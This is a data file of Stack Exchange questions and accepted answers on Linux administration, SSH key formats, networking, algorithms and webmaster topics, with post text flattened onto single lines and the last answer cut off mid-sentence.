{  "id": "_unix.382751"  , "question": "I have a 1 TB hard drive when I run: # fdisk -l among other details I get: Model: ATA HGST HTS721010A9 (scsi)Disk /dev/sda: 1000GBSector size (logical/physical): 512B/4096BPartition Table: gptI view the logical sector size to be the operating system's sector size for I/O. However, it shows that the physical sector is 4096B. I'm not sure what's the difference between the two. Why the kernel would use a 512B sector for I/O versus 4096B sector, maybe for compatibility reasons? Wouldn't this slow I/O operations? "  , "title": "What is the physical sector size for my HDD?"  , "tags": "linux;hard disk;hardware;io"  , "accepted_answer": "Yes, compability is the reason. Hard disks moved to a sector size of 4096 to utilize the disk area more efficiently. All software could not be converted to use the larger sector size overnight, so 4k disks still present themselves as a having 512 byte logical sectors. It does slow down I/O if the disk accesses are not aligned to the 4096 physical sector size. If you take care of alignment, it really doesn't matter, because read and write requests are done multiple sectors at a time anyway. Note that the logical sector size is mandated by the disk, and the kernel has to adapt to it, not the other way round."  } 
{  "id": "_unix.45520"  , "question": "I have four partitions on a hard drive, two of which are boot loaders. One is the /boot partition, one is the boot loader of Windows 7.Now, the Linux running on it, is an old Fedora. I'd like to install Linux Mint Debian Edition into the Fedora partition, and the boot loader that comes with it (GRUB2, iirc), while not messing up the Windows part.Is it safe to do that? I remember people talking about LMDE being overly simplified, etc. Will I be able to even select what partition to use for installation and boot loaders?"  , "title": "Installing Linux Mint Debian Edition into existing partitions: What's there to look out for?"  , "tags": "linux mint;system installation;grub2"  , "accepted_answer": "Selecting mount points is too basic, I don't think any graphical installer out there will omit it. The Mint installer has a manual mode where you can change the partitions and assign mount points to them. Beside / and /boot I think there will also be a swap partition, remember to check it too.I haven't used Mint lately, but I remember that GRUB has no problem with detecting a Windows installation and add an entry to the boot selection. That should not be a problem either.Indeed, I think you should just go ahead with the installation :)"  } 
{  "id": "_unix.41559"  , "question": "I have a file in this format:[#]   OWNER_NAME     NAME                       SIZE[6]   Robottinosino  Software                   200[42]  Robottinosino  Ideas worth zero           188[12]  Robottinosino  Ideas worth zero or more   111[13]  I am Batman    Hardware                   180[25]  Robottinosino  Profile Pictures           170and I would like to be able to do the following using command line tools:my_command Ideas worth zeroand get this result:42and not risk getting this result:12I have thought of using grep to identify the line, awk to get the 1st field but I am not sure how to reliably and efficiently match on the whole 'NAME' field short of counting at which column the text 'OWNER_NAME' and 'SIZE' appear in the header and get everything in-between with some whitespace trimming.Notice 'OWNER_NAME' could be more than one word: e.g. 'OWNER_NAME' = I am Batman.Any ideas with accompanying implementation?What I have to go by here, is just the old family of cat, head, tail, awk, sed, grep, cut, etc."  , "title": "Text file look-up by column"  , "tags": "bash;shell script;sed;awk;filter"  , "accepted_answer": "It's not like I haven't tried before asking... here's my attempt... but it looks way too complicated to me. Disregard the logic that handles dirty files gracefully, it was not part of the question and it's not the focus of the text look-up anyway. It just so happens that the files I have sometimes do not start with HEADER but with some garbage, with all the rest of the data being absolutely fine, always.#!/bin/bashfile_to_scan=${1}name_to_lookup=${2}ASSUME_FIRST_LINE_IS_HEADER=false # Sometimes input files begin with spurious linesFILE_HEADER_REGEX='^\\[#\\][[:blank:]]+OWNER_NAME[[:blank:]]+NAME[[:blank:]]+SIZE\\s*$'FIELD_HEADER_NAME=' NAME'FIELD_HEADER_SIZE=' SIZE'if [ $ASSUME_FIRST_LINE_IS_HEADER == true ]; then    header_line=$(head -n 1 ${file_to_scan})else    header_line=$(        grep \\            --colour=never \\            --extended-regexp \\            ${FILE_HEADER_REGEX} \\            ${file_to_scan}        )ficolstartend=($(    printf ${header_line} \\        | \\        awk \\            -v name=${FIELD_HEADER_NAME} \\            -v size=${FIELD_HEADER_SIZE} \\            '{                 print index($0, name)+1;                 print index($0, size);             }'))sed -E 1,/${FILE_HEADER_REGEX}/d ${file_to_scan} \\    | \\    awk \\        -v name_to_lookup=${name_to_lookup} \\        -v colstart=${colstartend[0]} \\        -v offset=$(( ${colstartend[1]} - ${colstartend[0]} )) \\        '{             name_field = substr($0, colstart, offset);             sub(/ *$/, , name_field);             if (name_field == name_to_lookup) {               print substr($1, 2, length($1)-2)             }         }'"  } 
{  "id": "_scicomp.7342"  , "question": "I'm looking for sparse SPD matrices with right hand side?  There is UF collection of sparse matrices, however, I'm not sure how do I search of the matrices of these kind efficiently (I'm doing a naive search which hasn't given me any results so far and it takes arbitrary long for some of the matrices). "  , "title": "SPD matrices with right hand sides"  , "tags": "sparse;matrix"  , "accepted_answer": "[The comment thread is long enough to convert to an answer.]We acknowledge that most matrix collections don't include physically reasonable right hand sides.  If we want to test solver performance, we have to generate problems to solve --- either the right-hand sides $b$ or solutions $x$ from which we compute $b \\gets A x$ and then solve $A y = b$ to some precision.  The latter is convenient because it lets us check accuracy.  Solvers like unpreconditioned GMRES are optimal (over a subspace) in the 2-norm of the residual, thus the $A^* A$-norm of the error.  This is a significantly weaker norm than the 2-norm of the error, for example, thus it really is useful to compare solvers in the error norm.Dangers of choosing a random vectorA common method of generating $x$ or $b$ is to draw from an independent random distribution.  This is flawed because these random vectors will be nearly orthogonal to the eigenvectors associated with the smallest eigenvalues -- exactly the modes that slow solver convergence.  For example, if you use a Gaussian distribution with mean zero for a Neumann Laplacian (has a constant null space), then the average over any significant portion of the domain will be nearly zero, meaning that no long-range interactions take place.  In this case, a coarse grid becomes unnecessary since you only have to move information far enough for the random process to homogenize.If your distribution is orthogonal to that lowest eigenvector, every random vector ($x$ or $b$ doesn't matter when comparing to an eigenvector $z$, though if $z^T x$ is close to zero, $z^T b = z^T A x$ will be even smaller) that you draw will have this property of being nearly orthogonal to the problematic modes, thus converging artificially fast.  An independent random distribution will be orthogonal to most or all these problematic modes (e.g., translations and rotations for elasticity).This mistake gets published from time to time, so it's worth increasing awareness.A FixIf you don't know anything about the problem, it's inconvenient to tune the random distribution so that its expected value has nonzero component in the direction of all the low-energy eigenvectors---you would have to solve an expensive eigenproblem to find those bad vectors.  Instead, I would recommend the following ad-hoc procedure:Recursively bisect the graph.At each level of the bisection tree, choose a random value from a random distribution with nonzero mean.Define the vector $x$ to be the sum of the random value assigned to all the parts that contain it (i.e., the sum of the path from the root of the tree).This is much like random sampling in a wavelet basis and provides correlation at all scales.  It doesn't require any special knowledge about the SPD matrix other than its sparsity pattern.Extensions and alternatives[Collecting comments from offline discussion.]Michael Grant asks What about dense systems?My reply: For an unstructured dense matrix, I would threshold since that should be some measure of locality.  For a structured dense matrix (e.g., an $H$-matrix), you already have a hierarchy.  The details of the bisection/partitioning isn't that important. All it needs to do is provide correlation at different scales so that the distribution isn't orthogonal to the problematic eigenvectors.Jack Poulson suggests using a combination of point-sources, plane waves, wave packets, and Gaussian random vectors.My reply: Plane waves and wave packets require some additional knowledge beyond the matrix itself.  Point sources aren't great for heterogeneous media problems because the Green's functions might be local almost everywhere, but global in very select places (e.g., faults, wires). The chance of a random point source activating that long-range coupling is low, but it's important for the real system. The bulk of the answer above was explaining why vectors drawn from an independent random distribution are inadequate."  } 
{  "id": "_unix.258764"  , "question": "I'm using debian 8 jessie. I don't use a physical CD-drive, there is no /dev/cdrom. I have DVD-1 and DVD-2 iso files of the operating system. I mounted DVD-1 iso at /media/cdrom01 and DVD-2 iso at /media/cdrom02. I used apt-cdrom add -d /media/cdrom01 to detect DVD-1 and similarly DVD-2 mounted iso files which automatically creates entries in /etc/apt/sources.list. The entries created look like this.deb cdrom:[Debian GNU/Linux 8.3.0 _Jessie_ - Official amd64 DVD Binary-2 20160123-19:03]/ jessie contrib maindeb cdrom:[Debian GNU/Linux 8.3.0 _Jessie_ - Official amd64 DVD Binary-1 20160123-19:03]/ jessie contrib mainWhen installing a package available from DVD-1 or DVD-2, apt-get determines whether the package containing disk/iso is mounted at /media/cdrom or not, and prompts to insert the disk when it is not mounted.  At that point the apt-get terminal output gives  Media change: please insert the disc labeled 'Debian GNU/Linux 8.3.0 _Jessie_ - Official amd64 DVD Binary-1 20160123-19:03'in the drive '/media/cdrom/' and press enterand the dmesg output gives  [22133.506274] ISO 9660 Extensions: Microsoft Joliet Level 3[22133.506359] ISO 9660 Extensions: RRIP_1991AThe problem here is apt-get always checks the mountpoint at /media/cdrom even when I used custom mountpoint when adding entries through apt-cdrom. With this scenario, I keep symlinking /media/cdrom01(or cdrom02) to /media/cdrom. Now the main issue is, Whenever I try to install packages contained in both DVD's , I have to manually switch the symlink.If I use only DVD-1 iso file, it can be mounted permanently to /media/cdrom and packages on it can be installed easily.Ideally, I would like to detect what DVD apt is requesting and have a script that automatically unmounts other iso and mounts the required iso at /media/cdrom. Is this possible?I could also make sources.list point to a real different mountpoint like this  deb file:///media/cdrom01 jessie main contribdeb file:///media/cdrom02 jessie main contribbut doing so will make the packages unauthenticated, and with http jessie source enabled, it ignores the local packages because it thinks they are unauthenticated."  , "title": "How to detect when apt-get requests cdrom?"  , "tags": "bash;debian;apt;package management"  } 
{  "id": "_webmaster.44002"  , "question": "I have implemented microformatting in one of our websites for our address, breadcrumbs and reviews that we collect from our customers.After we launched the new website using the microformatting Google accepted all and produced perfect formatted rich snippets. After about a month all got ignored and queries returned 'normal' snippets again.The Rich Snippet Testing tools indicates all is marked up correctly. Is there anything else I can do? What is the best practice in this matter?"  , "title": "Microformatting accepted, then ignored"  , "tags": "serps"  } 
{  "id": "_unix.189180"  , "question": "I've been trying out a trackball mouse and I find that it is entirely too sensitive, so I tune it down by setting its Device Accel Constant Deceleration to 1.5, I feel like this dials in the X axis fine, but my Y axis motions are underwhelming.Simply put, is it possibly to configure X and Y sensitivities separately?My environment is fairly stock Linux Mint 17.1, so Ubuntu-trustylike, Debian, Gnome 3, and the rest of the stack that I am less familiar with."  , "title": "xinput mouse device: separate x and y sensitivities"  , "tags": "xorg;mouse;xinput"  } 
{  "id": "_cs.28152"  , "question": "In Sipser, there is a proof I don't understand. First he established the undecidability of $A_\\mathrm{TM}$, the problem of determiningwhether a Turing machine accepts a given input. $$A_\\mathrm{TM}=\\left\\{\\left \\langle M,w \\right \\rangle\\mid M \\text{ is a TM and }M \\text{ accepts }w\\right\\}\\,.$$Then defined $\\mathrm{HALT_{TM}} = \\left\\{\\left \\langle M,w \\right \\rangle\\mid M \\text{ is a TM and }M \\text{ halts on input }w\\right\\}$, he assume that $\\mathrm{HALT_{TM}}$ is decidable and use that assumption to show that $A_\\mathrm{TM}$ is decidable, contradicting. He assume that we have a TM $R$ that decides $\\mathrm{HALT_{TM}}$. Then he uses $R$ toconstruct $S$:$S$ = On input $\\left \\langle M,w \\right \\rangle$, an encoding of a TM $M$ and a string $w$:Run TM $R$ on input $\\left \\langle M,w \\right \\rangle$.If $R$ rejects, rejectIf $R$ accepts, simulate $M$ on $w$ until it halts.If $M$ has accepted, accept; if $M$ has rejected, reject.He says Clearly, if $R$ decides $\\mathrm{HALT_{TM}}$, then $S$ decides $A_\\mathrm{TM}$. Because $A_\\mathrm{TM}$is undecidable,$\\mathrm{HALT_{TM}}$ also must be undecidable.I don't understand why is so obvious the problem is $R$. I mean, I don't understand why if $R$ exists, then inevitably we can simulate $M$.  We know that the step number 4 is not possible because $H(\\left \\langle M,w \\right \\rangle)$ = accept if $M$ accepts $w$ OR reject if $M$ rejects $w$ is not possible, so why is $R$ guilty?"  , "title": "Why is $A_{TM}$ reducible to $HALT_{TM}$?"  , "tags": "computability;reductions;undecidability;halting problem"  , "accepted_answer": "Step one, don't try to argue why this TM can not work: under the assumption it does work. But then, since everything else $S$ does is possible (you have to accept that separately), the existence of $R$ certainly is the problem.As for understanding, the proof, there are two facts you have to check (under the assumption that $R$ exists):$S$ is a Turing machine (i.e. its function is computable)$S$ decides $A_{TM}$.Arguably, 1) is clear; simulating other TMs given their indices/encodings is something TMs can do (thanks to the existence of a universal TM, which you should have seen a proof of already) and $S$ does little more. This is as close to a proof as you'll get with this form of definition of $S$; it's more of an idea, really.For the second, note that $S$ always halts because $R$ always halts and$\\qquad\\begin{align*}  S\\langle M,w \\rangle) = 1 &\\iff R(M,W) = 1 \\land M(w) = 1 \\\\             &\\iff M(w)\\downarrow \\land M(w) = 1 \\\\             &\\iff w \\in L_M \\\\             &\\iff \\langle M,w \\rangle \\in A_{TM} \\;.\\end{align*}$By definition, that means that $S$ decides $A_{TM}$.Similar arguments usually works for this kind of proof; check our reference questions and other questions tagged computability+reductions."  } 
{  "id": "_unix.333401"  , "question": "I have SSH public key (generated on my Mac) in OpenSSH format like this:ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDXaDj1YGcvKIhUIgmjV/Mjz8so5O2tdxG9gVlTwCxuFLjcUOsciB5R+hZ28GZtb9tb0p4ZSGd8bLcUnI/tqFlVBfRKhfixbvJlDJkzh1eqzqjgCz7Sgd7vo/9pX4FNmajcdt4nsgMI0Q0NLZOWF0M90gTAkcpfCVyt561IIrHK0MpWPqQbp917X8hfRH23sgo8B471FhN6j3ghS18OcAG8LSzCQ5IjJzyqzRRYLpYVdGVyrqNKV0wBOP7dzmZAcpit4XCtRIESKdQGzPCMcctgh2doBPwFyP1AUcTCrq5skZgik6RjaJAlCm3rxPs0bJDGInWEg0lTnTc7hEmV4tf3 nameofthekeyAnd I need to convert to PKCS#1 in HEX with this formatting:30818602 8180E6B0 25E45C19 54F3DBAD D41C79BF 2054F2C933775177 6F60F3B0 9654B03D 02A6A30F B04A5D59 E9BA784632059FB6 1157F39B 2C60C890 9B92EFA6 CD566AE2 41621AEB7BC30538 7065BD5A E3D2380E F1ABF4BF A8EFB0C9 E9BB06E08A060E0E 2022047C 009BA3F6 47257E1B B3498941 3C1281BAC5D64786 377B7426 2B5AA315 41C70201 25and put in in my Huawei OLT terminal for SSH RSA key access.Thank you."  , "title": "Convert OpenSSH public key to a PKCS#1 in HEX format with spaces and columns"  , "tags": "ssh;openssl;openssh;huawei"  , "accepted_answer": "I spent one night and I found this solution:OpenSSH public key must be converted to PKCS#1 PEM-encoded public key that is in base64:ssh-keygen -f id_rsa.pub -e -m pemNext, use base64 to HEX converter like this: http://tomeko.net/online_tools/base64.php?lang=enEnter string without begin and end mark-----BEGIN RSA PUBLIC KEY----------END RSA PUBLIC KEY-----to converter and click convertFor example:You enter this into converter:MIIBCgKCAQEA12g49WBnLyiIVCIJo1fzI8/LKOTtrXcRvYFZU8AsbhS43FDrHIgeUfh2dvBmbW/bW9KeGUhnfGy3FJyP7ahZVQX0SoX4sW7yZQyZM4dXqs6o4As+0oHe76P/aV+BTZmo3HbeJ7IDCNENDS2TMhdDPdIEwJHKXwlcreetSCKxytDKVj6kG6fde1/IX0R9t7IKPAeO9RYTeo94IUtfDnABvC0swkxSIyc8qs0UWC6WFXRlcq6jSldMATj+3c5mQHKYreFwrUSBEinUBszwjHHLYIdnaAT8Bcj9QFHEwS6ubJGYIpOkY2iQJQpt68T7NGyQxiJ1hIGJU503O4RJleLV9wIDAQABAnd you get this:3082010A0282010100D76838F560672F2888542209A357F323CFCB28E4EDAD7711BD815953C02C6E14B8DC50EB1C881E51F87676F0666D6FDB5BD29E1948677C6CB7149C8FEDA8595505F45F85F8B16EF2650C99338757AACEA8E00B3ED281DEEFA3FF695F814D99A8DC76DE27B20308D12D0D2D939617433DD204C091CA5F095CADE7AD4822B1CAE0CA563EA41BA7DD7B5FC85F447DB7B20A3C078EF516137A8F78214B5F0E7001BC2D2CC2439223273CAACD14582E9615746572AEA34A574C0138FEDDCE66407298ADE170AD44811229D406CCF08C71CB6087676804FC05C8FD4051C4C2AEAE6C91982293A4636890250A6DEBC4FB346C90C62275848349539D373B844978E2D7F70203010001For network equipment like Huawei GPON OLT or switches or Juniper you must little edit output to groups of 8 characters in 6 colnums like this: (via text editor add classic spaces and line breaks)3082010A 02820101 00D76838 F560672F 28885422 09A357F323CFCB28 E4EDAD77 11BD8159 53C02C6E 14B8DC50 EB1C881E51F87676 F0666D6F DB5BD29E 1948677C 6CB7149C 8FEDA8595505F44A 85F8B36E F2650C99 338757AA CEA8E00B 3ED281DFEFA3FF69 5F814D99 A8DC76DE 27B20308 D10D0D2D 939617433DD204C0 91CA5F09 5CADE7AD 4822B1CA D0CA563E B41BA7DD7B5FC85F 447DB7B2 0A3C078E F516137A 8F78214B 5F0E7001BC2D2CC2 43922327 3CAACD14 582E9615 746572AE A34A574C0138FEDD CE664072 98FAE170 AD448112 29D416CC F08C71CB60876768 04FC05C8 FD4051C4 C2AEAE6C 91982293 A4636890250A6DEB C4FB346C 90C62275 84834953 9D373B84 4995E2D7F7020301 0001Now you can put this RSA public key in to console, save, assign RSA key to user and you can now login with your SSH private key."  } 
{  "id": "_webmaster.8959"  , "question": "I am working on my own website for my business, and I need to contract out some assistance.  For example, I have the site looking pretty good on Firefox, but it needs help on other browsers.  I also need some help with adding some Django apps to the site and setting up a database.  I plan to seek the help of two different individuals via elance or odesk.  My question is which to do first - get the css and html right then do the apps, or get the apps done and then work on the css and html?  Thanks in advance for any suggestions."  , "title": "Should I work on CSS or apps first?"  , "tags": "html;css;django;python"  , "accepted_answer": "IE Bug FixesI would personally get a strong template down before working on any crazy features. Do the HTML/CSS then move on to the APPs. It might help attract good freelancers if you have everything else done."  } 
{  "id": "_unix.322244"  , "question": "What does the centos-release-upstream file mean in CentOS? The centos-release file already tells me that a CentOS 7.2.x release was installed.root# cat /etc/centos-releaseCentOS Linux release 7.2.1511 (Core) root# cat /etc/centos-release-upstream Derived from Red Hat Enterprise Linux 7.2 (Source)root# cat /etc/os-release NAME=CentOS LinuxVERSION=7 (Core)ID=centosID_LIKE=rhel fedoraVERSION_ID=7PRETTY_NAME=CentOS Linux 7 (Core)ANSI_COLOR=0;31CPE_NAME=cpe:/o:centos:centos:7HOME_URL=https://www.centos.org/BUG_REPORT_URL=https://bugs.centos.org/CENTOS_MANTISBT_PROJECT=CentOS-7CENTOS_MANTISBT_PROJECT_VERSION=7REDHAT_SUPPORT_PRODUCT=centosREDHAT_SUPPORT_PRODUCT_VERSION=7"  , "title": "Purpose of /etc/centos-release-upstream"  , "tags": "centos;filesystems"  , "accepted_answer": "you must be aware that CentOS (/snt.s/, from Community Enterprise Operating System) is a Linux distribution that attempts to provide a free, enterprise-class, community-supported computing platform which aims to be functionally compatible with its upstream source, Red Hat Enterprise Linux (RHEL).[5][6] In January 2014from Wikipediaso this centos-release-upstream file is declaring that it is compatible with/Derived from Red Hat Enterprise Linux 7.2 (Source).So you will be able to use rpm which are compatible with RHEL 7.2.CentOS version and compatible RHEL version is same in this case but not necessarily same each time.Know that CentOS is community edition which is intended to give feel/working simmilar that of RHEL So these two files show different information and not the same."  } 
{  "id": "_unix.128821"  , "question": "On a Synology NAS (uses a 'home grown' *nix variant (possibly based on Debian?)) I have installed ipkg package manager.  When I try a command like ipkg search shred or ipkg search *shred* it returns only the single line: Successfully terminatedwithout any package name.I specifically used shred in my example as I know that shred exists for my platform and is part of the coreutils package (and so should return that answer.)What is going wrong?  Is this a bug, an error in my syntax or possibly something else?Edit - I found the answer - filename needed to be enclosed in single quotes likeipkg search '*shred*'This returns the correct answer - coretutils.I also found that Pavel is correct, it only returns info on installed packages, which is not what I needed.How would I go about finding what pkg to install if I need a given program/util that is part of a larger collection but don't know what package contains it?(is that permitted or should I start another question?)"  , "title": "'ipkg search xxx' always returns no answer"  , "tags": "search;ipkg"  , "accepted_answer": "I don't think package metadata include lists of files. I believe ipkg search is only meant to get package names for installed files, similarly to rpm -qf. You may need to provide full path of an installed file.When looking for information about the coreutils package, you might want to try the following:ipkg info coreutilsipkg status coreutilsipkg files coreutilsYou can also see how the results differ for installed and not installed packages.When searching of an installed package providing a specific file, you can use:ipkg search /path/to/installed/fileAs you pointed out in your edited question, you have to use asterisk if you don't want to specify the complete path name, for example:ipkg search \\*fileipkg search '*file'In my opinion, there's no information you can get for files that don't exist or haven't been installed.You may also need to check whether you have metadata for packages downloaded at all and download them:ipkg updateHow would I go about finding what pkg to install if I need a given program/util that is part of a larger collection but don't know what package contains it?ipkg can't help you here as it doesn't have the data. I don't think your distribution has a tool like apt-file which would be a solution. In that case, you typically need to revert to using a websearch to get such information.Sources:http://www.hpelbers.org/iliad/ipkg_usageDisclaimer: I'm only using opkg on OpenWRT, which is very close to ipkg."  } 
{  "id": "_unix.153152"  , "question": "This issue is currently driving me up the wall.It just does not work as it should.  I have a file inp with audio samples to download where I preserved the internal ID number by parsing some other location of the HTML source file to get rid of the internal (hex) filename, looking like this:http://whatever.site/data/samples/hexfilename1.mp3 12345.mp3http://whatever.site/data/samples/hexfilename2.mp3 12346.mp3http://whatever.site/data/samples/hexfilename3.mp3 12347.mp3http://whatever.site/data/samples/hexfilename4.mp3 12348.mp3 http://whatever.site/data/samples/hexfilename5.mp3 12349.mp3As I only need the first part on each line, I've tried awk or alternatively cut to strip the rest, but on the fly:$ wget -nc -i $(cut -f1 '-d ' inp)respectively$ wget -nc -i $(awk 'print $1' inp)But it will download all the mp3 files, then grind for a short while, and something very strange will happen:--2014-09-01 14:27:25--  http://whatever.site/data/samples/ID3%04Ugh. It is exactly what you're thinking it is: indeed the first bytes of the binary mp3 file that wget is trying to download, after it is finished downloading the regular ones (and supposed to terminate). But why does it happen?If I go the clumsy way by creating a inp2 temporary file for wget and using it with the -i parameter, it works:$ cat inp | awk '{print $1}' > inp2Why is there so much difference when inp gets modified on the fly and passed directly to wget?The most interesting thing is that the on-the-fly variant won't work with either awk or cut, so neither of both tools are to blame."  , "title": "wget: Retrieving a list of URLs when modifying input data file on the fly"  , "tags": "awk;wget;cut"  } 
{  "id": "_webmaster.96434"  , "question": "I do not know too much about how hackers compromise websites but am careful about sanitizing all posted data.I am using Google ReCaptcha on most of the pages on a website. Would it suffice to have one ReCaptha at initial load to the site where all links are disabled until the ReCaptcha is satisfied or do I need to ReCaptcha on every vulnerable page?"  , "title": "Should captcha be used on every vulnerable page, or just on initial page load to deter robots?"  , "tags": "hacking;captcha;domain hacks"  } 
{  "id": "_codereview.144222"  , "question": "I have written a function in python with three loops which is time consuming. Is it possible to do the same operation in less time with some other way.Here are my code and sample data you can run at your end#Expand files to minute-leveldef expand_b34(data):    final_list = []    df_columns = list(data.columns.tolist())    for i in range(len(data)):      #print i      row_list = np.repeat(data.values[i][np.newaxis,:],     data['DURATION'].loc[i], axis=0).tolist()      start_end_list = range(data['START'].loc[i], data['END_MINUTE'].loc[i])      for j in range(len(row_list)):        row_list[j].extend([start_end_list[j]])      for k in row_list:        final_list.append(k)   data = pd.DataFrame(final_list)   data.columns = df_columns + ['START_MINUTE']   data = data.drop(['START','END_MINUTE'], axis=1)   return data               df = expand_b34(test)Sample datadate  Id     LD GOOD_AP_ORIG ap_station JULIAN_DAY START DURATION END_MINUTE PLDS PL PLT PLAY16080 4012007 1 G            5000       16081       0       60       60      0    0   0  16080 4012007 1 G            5000       16081      60       60      120      0    0   0  16080 4012007 1 G            5000       16081     120       60      180      0    0   0  16080 4012007 1 G            5000       16080     180       60      240      0    0   0  16080 4012007 1 G            5000       16080     240      120      360      0    0   0  Code Work flow:calculate difference between START and END_MINUTEexpand the observations for the differenceSo if the difference is 10, ten more lines of observations will be generated for the observation which is having the same data except for the START_MINUTE variable. START_MINUTE starts at 0 (because for that particular observation START == 0) and ends at 9.For a single observation the loop creates 10 duplicate observations except for the start minute variable, which varies from 0 to 9.Can someone help me to do the same observation expansion by optimizing my code?"  , "title": "Creating multiple observations from single observation depending on conditions"  , "tags": "python;performance;pandas"  } 
{  "id": "_webmaster.12243"  , "question": "I should preface this with the statement that I do understand that HTML Framesets are on their way out, and that they have all sorts of SEO/accessibility concerns.That being said, I've been considering building a web-based API app, and I really like the format of the Java and AS3 APIs. They both use framesets in what I consider to be a reasonable manner, and are the most readable API's that I know of. The AS3 CS4 API no longer uses frames, but is verrrryyyyyy slooowwwwww.My other consideration was to make an AJAX-driven (jQuery) site so that I don't have to reload the entire API class/package list on each page load. It would likely reduce the data-transfer to be less than the frameset version.I feel that the frameset format will simplify many of the features that the AJAX version would have to re-create (resizable regions, targeted links, etc). Also, the frameset version wouldn't require javascript.Am I being foolish to think that this could be a useful application of framesets?"  , "title": "Simple Frameset Website vs Complex AJAX Website?"  , "tags": "ajax;frameset"  , "accepted_answer": "Most of the purpose of frames can be done much more effectively, accessibly and beautifully with CSS and jQueryUI.With jQueryUI you can set the height of a div to be the height of the window (or whatever you want it to be). You can use resizable, draggable, etc, to make the content more functional than frames.Think of apps like Netvibes and Gmail, and what they would look and feel like if they were built with frames instead."  } 
{  "id": "_unix.82166"  , "question": "I've had issues copying public keys to authorized_keys and winding up with an extra linefeed or space or something.Is there a way to simply validate that a key looks like a valid key? I don't have the private key."  , "title": "How to validate an SSH public key?"  , "tags": "ssh;key authentication"  , "accepted_answer": "Maybe ssh-keygen -lf authorized_keys is enough. ssh-keygen -lf authorized_keyskey_read: uudecode AAAAB3Nzaf1a8eEABBABIwAAAQEA1y8gXks+s19QFdLP3ddei  failedauthorized_keys is not a public key file.(You may copy the respective line to a separate file before checking.) If the hashing function is too stupid to detect errors then converting back and forth may do:ssh-keygen -ef id_dsa.pub -m PKCS8 | ssh-keygen -i -f /dev/stdin -m PKCS8I expect that pipeline to fail in case of formatting errors."  } 
{  "id": "_unix.338984"  , "question": "Shorter versionHow can I make a network interface on Linux send and receive packets from a running process rather than a network device driver?Longer versionI'm planning as my bachelor thesis to build a custom wireless ad-hoc network (not 802.11, but using the IP protocol stack) on top of a couple of USRP N210 (Software Defined Radios made by Ettus) to communicate between two computers. The idea is to implement the link layer on GNURadio, using the USRPs to transmit and receive the radio signals. Ideally, I'd like the whole communication system to be transparent to the hosts, like if it was just another network connected to some interface (like eth0, etc). So I've been wondering if there is any way of creating a network interface (virt0 in the image) on Linux and make it communicate with GNURadio (that uses Python and C++) instead of the network device driver. The purpose of this is that the GNURadio environment can have access to the packets that need to be sent and forward them (after some processing) through the USRP to be received by the other host.  Would a pipe make it, since it's an inter-process communication?That's the first idea I got to achieve the transparency I was talking about. I've also thought of writing a dummy network driver to interface with GNURadio, but I'd like to evade this, given my lack of experience with device drivers. If you had any other idea, it would be welcome."  , "title": "Use network interface to send data to GNURadio"  , "tags": "linux;network interface;fifo"  , "accepted_answer": "You create network interfaces that can send and receive packets backed by some program (which, in your case, would be connected to GNU Radio in some way) using the tun/tap interface.To quote from Documentation/networking/tuntap.txt in the kernel source:TUN/TAP provides packet reception and transmission for user space programs.   It can be seen as a simple Point-to-Point or Ethernet device, which,  instead of receiving packets from physical media, receives them from   user space program and instead of sending packets via physical media   writes them to the user space program. In order to use the driver a program has to open /dev/net/tun and issue a  corresponding ioctl() to register a network device with the kernel. A network  device will appear as tunXX or tapXX, depending on the options chosen. When  the program closes the file descriptor, the network device and all  corresponding routes will disappear.Depending on the type of device chosen the userspace program has to read/write  IP packets (with tun) or ethernet frames (with tap). Which one is being used  depends on the flags given with the ioctl().The package from http://vtun.sourceforge.net/tun contains two simple examples  for how to use tun and tap devices. Both programs work like a bridge between  two network interfaces.br_select.c - bridge based on select system call.br_sigio.c  - bridge based on async io and SIGIO signal.However, the best example is VTun http://vtun.sourceforge.netAlso see this stackoverflow question. Lots of tutorials can be found with google."  } 
{  "id": "_cs.39878"  , "question": "I have an acyclic edge-weighted graph and have used Dijkstra's Algorithm with topological sort to find any shortest path to every other node from a root $s$. This is performed in time proportional to $V + E$, where $V$ is the number of vertices and $E$ the number of edges. I have $V= N^2$ vertices in my graph. Now suppose I remove $N$ vertices (for now lets assume at random, in reality there is a pattern). If I want to find shortest paths for my new graph, is there any information from the first computation that I can cache to speed things up?"  , "title": "Shortest path in a mutable graph"  , "tags": "algorithms;graphs;shortest path"  , "accepted_answer": "A simple approachGiven that you have a DAG, and the only change you will make is to delete vertices, there is a crude but simple to implement algorithm you could use.  In addition to computing the distance from $s$ to every vertex, also compute the shortest paths tree.Now, when you want to delete a vertex $v$, mark the entire subtree rooted at $v$ (in the shortest path tree).  Delete this from the shortest path tree, and process each of the nodes in that subtree to re-calculate their distance from $s$.  You can process those vertices in topological sorted order, and compute the updated distance for vertex $x$ by the standard formula $d(x) = \\min \\{1+d(w) : (w,x) \\in E\\}$.  The running time will be proportional to the size of the subtree you deleted.  Whether this is efficient in practice will depend on the structure of the graph and the nodes that you delete.More sophisticated solutionsThis kind of problem has been studied extensively in the literature.  The keyword you want to use is dynamic shortest paths.  Here dynamic refers to the fact that the graph can change.  In your case, you want to support vertex deletions.  So, I suggest you spend some quality time with the research literature to review the known algorithms for dynamic shortest paths with vertex deletions.  Alternatively, look for algorithms for dynamic shortest paths with edge deletions (since when you delete a vertex you're probably going to delete all edges incident on that vertex as well).See, e.g., Retrieving the shortest path of a dynamic graph and How to approach Dynamic graph related problems and https://cstheory.stackexchange.com/q/17135/5038 and https://cstheory.stackexchange.com/q/11855/5038 for some entry points into the literature.  Those algorithms apply to arbitrary graphs, but it might be possible to exploit the fact that your graph is actually a DAG to get even better performance."  } 
{  "id": "_softwareengineering.215523"  , "question": "I've been a freelancer and a coder by night for a while, and recently, I've been hired after several levels of interviews in a nice NY company, even though I've some lacks in specific fields. Is this common for companies to hire seniors with less experience? Will they wait some weeks to respect a certain learning curve?I don't know anything about working in a company, so that's why I worry. After one week, I'm still checking and exploring sources, but after one week of work, it seems that some coworkers are considering that I'm slow. I'm good in maths, physics, algorithms, but still I need to learn about all the templates used in this company.Anyone here already received a less-experienced senior member in his team? Is this acceptable?I'm planing on having a meeting with my boss to stop worrying about that. Sounds like a good idea?[EDIT]Thanks for these answers. I'm definitely a -new - senior developer. I returned to the office with more confidence on Monday. I guess that it's normal to feel a bit incompetent in front of unknown templates/sources during the first weeks when you receive a good pay."  , "title": "Just being hired as a senior developer, never even been a junior developer, what should I expect?"  , "tags": "skills;knowledge transfer"  , "accepted_answer": "There is no commonly accepted definition of senior developer. Definitions may exist within organizations but a senior developer usually represents someone:With software development experience (3-5 years minimum),Can work without constant supervision (often with no 